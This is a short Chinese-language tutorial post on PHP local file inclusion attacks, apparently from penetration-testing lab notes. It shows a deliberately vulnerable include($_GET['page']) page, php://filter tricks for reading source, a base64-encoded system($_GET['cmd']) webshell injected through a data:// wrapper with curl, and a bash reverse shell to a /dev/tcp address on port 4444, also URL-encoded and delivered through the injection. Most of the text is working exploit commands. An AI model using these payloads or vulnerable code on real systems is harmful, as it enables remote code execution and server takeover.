【php】php攻擊手法
php 漏洞網頁
<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>
<!--
使用page 參數可以注入頁面
-->
<?php $adminpage=$_GET['page']; if(isset($adminpage)) { include($adminpage); } ?>
編碼操作:
以下是一個簡單的例子,演示如何使用 `php://filter` 在包含文件的過程中應用 `base64_decode` 過濾器:
// php://filter/read=convert.base64-decode 可將某個文件編碼(base64)
// 編碼顯示後可以用工具解碼,還原原始網頁
include("php://filter/read=convert.base64-decode/resource=admin.php");
載入編碼:
# 將指令編碼
echo -n '<?php echo system($_GET["cmd"]);?>' | base64
// PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==
# 注入指令(一次性)
# cmd: uname -a (%20:空白,指令可依需求替換)
# 在 PHP 中,`data://` 是一種偽協議,它允許你在代碼中直接使用數據,而不必引用外部文件。
# 通過 `data://` 協議,你可以在字符串中直接嵌入數據,而無需使用外部文件。
curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain;base64,PD9waHAgZWNoby
BzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=uname%20-a"
# 或是直接開reverse shell
bash -c "bash -i >& /dev/tcp/192.168.119.3/4444 0>&1"
# 進行urlencode => https://gchq.github.io/
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.157%2F4444%200%3E%261%22%0A
# 注入webshell
curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain;base64,PD9waHAgZWNoby
BzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.157%2F4444%200%3E%261%22%0A"